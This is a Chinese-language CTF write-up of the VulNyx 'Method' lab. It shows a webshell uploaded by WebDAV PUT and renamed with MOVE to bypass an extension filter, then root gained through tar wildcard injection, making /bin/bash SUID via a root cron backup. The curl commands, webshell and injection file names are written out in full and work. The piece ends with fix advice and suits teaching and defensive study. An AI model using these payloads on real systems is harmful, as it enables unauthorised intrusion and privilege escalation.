跳到主要内容

VulNyx Method 通关记录|WebDAV MOVE 绕过上传限制与 tar 通配符注入提权

靶机链接:Method


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Method192.168.1.146Debian 11 (bullseye) 靶机

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp HTTP lighttpd + WebDAV锁定 WebDAV 为主攻击面
目录枚举gobuster → /webdav/ 返回 403,OPTIONS 暴露全部方法发现匿名可写的 WebDAV 端点
上传绕过PUT 仅允许 .html → MOVE 重命名为 .php绕过 PHP 脚本上传限制
初始 RCEcmd.php?cmd=iduid=33(www-data)获得低权限 shell
User Flag/home/www-data/user.txt第一个 flag
提权分析ps auxf 捕获 root cron:cd /var/www/html/webdav/ && tar -zcf /var/backups/webdav.tgz *发现 tar 通配符注入点
通配符注入创建 --checkpoint=1 + --checkpoint-action=exec=sh s,脚本执行 chmod u+s /bin/bash利用 root cron 制造 SUID Bash
Root 提权/bin/bash -p -c 'id'euid=0(root)获得 root 权限
Root Flag/root/root.txt第二个 flag

0x02 侦察与信息收集 (Reconnaissance)

1. TCP 端口扫描

先用 RustScan 做快速全端口发现,联动 Nmap 完成服务识别:

rustscan -a 192.168.1.146 --ulimit 5000 -- -sV -sC -oN rustscan-nmap.txt

扫描结果:

端口状态服务版本
22/tcpopenSSHOpenSSH 8.4p1 Debian 5+deb11u7
53/tcpclosedDNS-
80/tcpopenHTTPlighttpd 1.4.59

随后做全端口范围复核确认没有遗漏:

rustscan -a 192.168.1.146 -r 1-65535 --ulimit 5000 -- -sV --version-intensity 2

结果与初始扫描一致,仅 22/tcp80/tcp 开放。UDP 扫描也仅 68/udpopen|filtered(DHCP 客户端),没有可利用的 UDP 服务。

分析:

  • 目标是 Debian 11 (bullseye),内核 5.10.0-45-amd64,宿主机名 method.lan
  • SSH 需要凭据,优先从 Web 寻找入口。
  • HTTP 为轻量级的 lighttpd,非 Apache/Nginx 全栈,配置往往更精简,WebDAV 属于少见暴露的模块。

2. Web 枚举

首页为 lighttpd 默认欢迎页:

curl -s -i http://192.168.1.146/
HTTP/1.1 200 OK
Server: lighttpd/1.4.59
Content-Length: 3388

标题 <title>Welcome page</title>,内容为 lighttpd 部署成功页(index.lighttpd.html)。说明 web 根目录没有自定义应用,需要靠目录爆破发现隐藏端点。

使用 gobuster 枚举目录与常见扩展名:

gobuster dir -u http://192.168.1.146 \
-w /usr/share/wordlists/dirb/common.txt \
-x php,html,txt,bak,zip,tar,gz \
-o gobuster-common.txt

关键结果:

/webdav/ (Status: 301) → 重定向至 /webdav/

所有常见路径(robots.txtadminlogin.git/HEAD.envphpmyadmin 等)均返回 404。唯一的入口是 /webdav/


0x03 WebDAV 方法探测与绕过分析

1. WebDAV 方法枚举

直接 GET /webdav/ 返回 403 Forbidden,但 403 不代表没有利用空间,关键看 OPTIONS:

curl -s -X OPTIONS -i http://192.168.1.146/webdav/
HTTP/1.1 200 OK
DAV: 1,2,3
MS-Author-Via: DAV
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK, OPTIONS, GET, HEAD, POST

关键发现:

  • PUTMKCOLDELETEMOVECOPY 全部开放。
  • 无需认证即可调用(OPTIONS 未返回 WWW-Authenticate)。
  • DAV: 1,2,3 表示支持完整的 WebDAV Class 1/2/3。

使用 davtest 快速验证匿名写入能力:

davtest -url http://192.168.1.146/webdav/
OPEN SUCCEED: http://192.168.1.146/webdav
MKCOL SUCCEED: Created http://192.168.1.146/webdav/DavTestDir_...
PUT html SUCCEED: http://192.168.1.146/webdav/DavTestDir_.../davtest_...html
PUT php FAIL
PUT cfm FAIL
PUT aspx FAIL

分析:

  • 匿名连接成功,MKCOL(创建目录)成功。
  • HTML 文件可以 PUT 上传,但 PHP / CFM / ASPX 等脚本扩展名全部被拒
  • 限制逻辑在 lighttpd 配置中,而非 WebDAV 协议层本身。

2. lighttpd 配置审计与 MOVE 绕过

通过后续获得的 webshell 读取 lighttpd 配置,完整还原限制逻辑:

cat /etc/lighttpd/lighttpd.conf

WebDAV 相关配置(关键段):

alias.url += (
"/webdav" => "/var/www/html/webdav"
)

$HTTP["url"] =~ "^/webdav($|/)" {
webdav.activate = "enable"
dir-listing.activate = "disable"

$HTTP["request-method"] == "PUT" {
$HTTP["url"] !~ "\.html$" {
url.access-deny = ( "" )
}
}

$HTTP["request-method"] !~ "^(GET|HEAD|OPTIONS|PUT|MOVE|MKCOL|DELETE|PROPFIND)$" {
url.access-deny = ( "" )
}
}

漏洞分析:

配置项限制范围绕过点
PUT + !~ "\.html$"仅 PUT 方法限制非 .html 扩展名MOVE 方法完全不受扩展名限制
request-method 白名单只允许 8 种方法已覆盖 PUT + MOVE 组合
dir-listing.activate = "disable"禁止目录浏览不影响 PUT / MOVE / GET 单文件

绕过的核心逻辑: PUT 上传 .html 文件,再通过 MOVE 重命名为 .php 扩展名,绕过 PUT 阶段的扩展名限制。

PHP 引擎通过 FastCGI 连接到 PHP-FPM(/run/php/php-fpm.sock),只要文件以 .php 结尾即被解析执行。


0x04 核心攻击链:MOVE 绕过上传与初始 RCE

1. 构造 Webshell

上传 PHP 一句话 webshell 为 .html,再用 MOVE 重命名为 .php

# Step 1: PUT 上传为 .html(通过 PUT 限制)
curl -s -X PUT \
-d "<?php system(\$_GET['cmd']); ?>" \
"http://192.168.1.146/webdav/cmd.html" -i

# Step 2: MOVE 重命名为 .php(绕过限制)
curl -s -X MOVE \
-H "Destination: http://192.168.1.146/webdav/cmd.php" \
"http://192.168.1.146/webdav/cmd.html" -i

两步均返回 201 Created,文件成功写入 /var/www/html/webdav/cmd.php

2. 验证 RCE

curl -s "http://192.168.1.146/webdav/cmd.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

已获得 www-data 用户权限的远程命令执行。

3. User Flag

curl -s "http://192.168.1.146/webdav/cmd.php?cmd=cat%20/home/www-data/user.txt"
5492fc195e7dd4bf3ce4f413674156b6

0x05 权限提升 (Privilege Escalation)

1. 发现 root cron 与 tar 通配符

初期枚举时未找到 sudo、异常 SUID 或内核 exploit 机会。转折点来自进程列表:

# 通过 webshell 执行
ps auxf

在输出中捕获到正在运行的 cron 子进程:

root 1070 \_ /usr/sbin/CRON -f
root 1072 \_ /bin/sh -c cd /var/www/html/webdav/ && tar -zcf /var/backups/webdav.tgz *
root 1074 \_ tar -zcf /var/backups/webdav.tgz DavTestDir_... cmd.php ...

关键发现:

  • root 用户的 cron 定期执行备份任务。
  • 命令为 cd /var/www/html/webdav/ && tar -zcf /var/backups/webdav.tgz *
  • tar 使用了未转义的 * 通配符,且工作目录正是我们完全可控的 /var/www/html/webdav/

2. 漏洞原理:tar 通配符注入

当 shell 展开 * 时,目录下的所有文件名会作为参数传给 tar。如果文件名恰好是 tar 的命令行选项(以 - 开头),tar 会将其解释为参数而非文件名。

GNU tar 提供两个关键选项:

选项作用
--checkpoint=N每处理 N 个文件后触发 checkpoint
--checkpoint-action=ACTIONcheckpoint 触发时执行指定动作

其中 ACTION 支持 exec=command,即在 checkpoint 时以 tar 进程的权限(此处为 root)执行任意命令。

由于 - 的 ASCII 码(45)小于 =(61),--checkpoint-action=... 在字母排序中会排在 --checkpoint=1 之前。但 GNU tar 1.34 对选项的出现顺序不敏感,即使 --checkpoint-action 先出现,它也会先注册 action,等 --checkpoint=1 设置 checkpoint 间隔后照样触发执行。

3. 注入文件构造

文件名中的路径分隔符

文件名中的 /(如 chmod u+s /bin/bash)会导致 HTTP MOVE Destination 解析错误。解决方法是把 payload 写入一个短文件名脚本 s,再通过 --checkpoint-action=exec=sh s 来执行。

在 WebDAV 目录中创建三个特殊文件:

# 文件 1: 触发 checkpoint
curl -s -X PUT -d "x" "http://192.168.1.146/webdav/cp1.html" -i
curl -s -X MOVE \
-H "Destination: http://192.168.1.146/webdav/--checkpoint=1" \
"http://192.168.1.146/webdav/cp1.html" -i

# 文件 2: checkpoint 动作 — 执行 sh s
curl -s -X PUT -d "x" "http://192.168.1.146/webdav/cp2.html" -i
curl -s -X MOVE \
-H "Destination: http://192.168.1.146/webdav/--checkpoint-action=exec=sh s" \
"http://192.168.1.146/webdav/cp2.html" -i

# 文件 3: 实际 payload — 给 /bin/bash 添加 SUID 位
curl -s -X PUT -d "chmod u+s /bin/bash" \
"http://192.168.1.146/webdav/s.html" -i
curl -s -X MOVE \
-H "Destination: http://192.168.1.146/webdav/s" \
"http://192.168.1.146/webdav/s.html" -i

目录最终状态:

/var/www/html/webdav/
├── --checkpoint-action=exec=sh s ← tar 解释为 checkpoint action
├── --checkpoint=1 ← tar 解释为 checkpoint 间隔
├── s ← payload: chmod u+s /bin/bash
├── cmd.php ← webshell(保留)
└── shell.php.html ← webshell 残余(可忽略)

4. 验证注入逻辑

在等待 cron 前,可以先以 www-data 身份手动运行 tar 确认注入有效:

cd /var/www/html/webdav && tar -zcf /tmp/test.tgz * 2>&1
chmod: changing permissions of '/bin/bash': Operation not permitted

chmod 确实被执行了,只是 www-data 无权修改 /bin/bash。当 cron 以 root 运行时则会成功。

5. 触发与结果

cron 按计划运行后,检查 bash 权限:

ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash

chmod u+s /bin/bash 已生效,bash 获得了 SUID root 位。

6. Root Shell 与 Root Flag

保留 Bash 的有效身份

-p 参数说明: Bash 在启动时检测到 EUID 与 UID 不匹配时,默认会主动丢弃特权(seteuid(getuid()))。-p / -o privileged 明确告诉 bash 保留 effective UID,使 SUID 位真正生效。

/bin/bash -p -c 'id; cat /root/root.txt'
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
370ac5644039db096693f936c2bca98f

0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/www-data/user.txt
  • 权限: -r-------- 1 www-data www-data 33
  • 内容: 5492fc195e7dd4bf3ce4f413674156b6

Root Flag

  • 路径: /root/root.txt
  • 内容: 370ac5644039db096693f936c2bca98f

0x07 敏感文件与关键配置清单

文件权限说明
/etc/lighttpd/lighttpd.confroot:root 644WebDAV 配置:PUT 限制 .html,MOVE 无限制
/etc/lighttpd/conf-enabled/15-fastcgi-php-fpm.confroot:root 644.php → PHP-FPM Unix socket 映射
/var/backups/webdav.tgzroot:root 644root cron 生成的 WebDAV 目录备份(通配符注入触发点)
/var/spool/cron/crontabs/rootroot:crontab 600root 个人 crontab(不可读,但进程快照暴露了命令)
/var/www/html/webdav/cmd.phpwww-data:www-data 644攻击者上传的 webshell
/bin/bashroot:root 4755注入后获得 SUID 位

0x08 复盘总结

  1. WebDAV 不只是文件共享。 lighttpd 的 WebDAV 模块暴露了完整的文件操作原语。OPTIONS 返回的方法列表是最有价值的第一手情报,比目录爆破更能揭示攻击面。
  2. MOVE 方法不在过滤范围内。 开发者只对 PUT 方法加了 .html 白名单,却忽略了 MOVE 可以改变文件扩展名。这是典型的“只封入口不封出口”的逻辑漏洞。扩展名过滤应该应用到所有能改变文件名的操作(PUT / MOVE / COPY / MKCOL),而不是单一方法。
  3. 进程快照是本地枚举的高效手段。 ps auxf 不仅能看到服务进程,还能捕获瞬间执行的 cron 子进程及其完整命令行。如果只查 /etc/crontab/etc/cron.d/,会因为 root 个人 crontab 权限不可读而错过这个关键线索。
  4. tar 通配符注入的实质是文件名即参数。 任何以 root 身份在可控目录下执行 tar ... * 的 cron 任务都是潜在提权点。文件系统不区分“数据文件名”和“命令行选项字符串”,shell 的通配符展开又把两者混在一起传给程序,这个信任链的断裂就是注入的根源。
  5. Payload 文件名避免 / --checkpoint-action=exec=chmod u+s /bin/bash 这样的文件名含斜杠,HTTP MOVE 的 Destination 头会把它当作路径分隔符导致 409 Conflict。把命令放进独立短脚本 s,再用 exec=sh s 引用,既规避了 URL 编码问题,也便于调试和替换 payload。
  6. 验证后再等 cron。 在等待 cron 触发前,先以当前低权限用户手动运行同一命令,确认注入逻辑正确、脚本语法无误。虽然 chmod 会因权限报错,但报错本身就证明了执行路径是通的,剩下的只是等 root 来跑。

修复建议

风险点建议
WebDAV 匿名写入关闭匿名访问,为 WebDAV 配置强认证和最小权限
上传过滤只限制 PUT对所有可创建或重命名资源的方法统一做扩展名、MIME 和执行权限限制
WebDAV 目录可执行 PHP上传目录禁用脚本解析,或将 WebDAV 存储放到 Web 根目录之外
root cron 使用 tar ... *避免在可控目录中使用未转义通配符;使用 --、绝对路径清单或 `find -print0
SUID Bash 残留清理异常 SUID 位,定期审计 /bin/bash/var/tmp、Web 根目录等高风险位置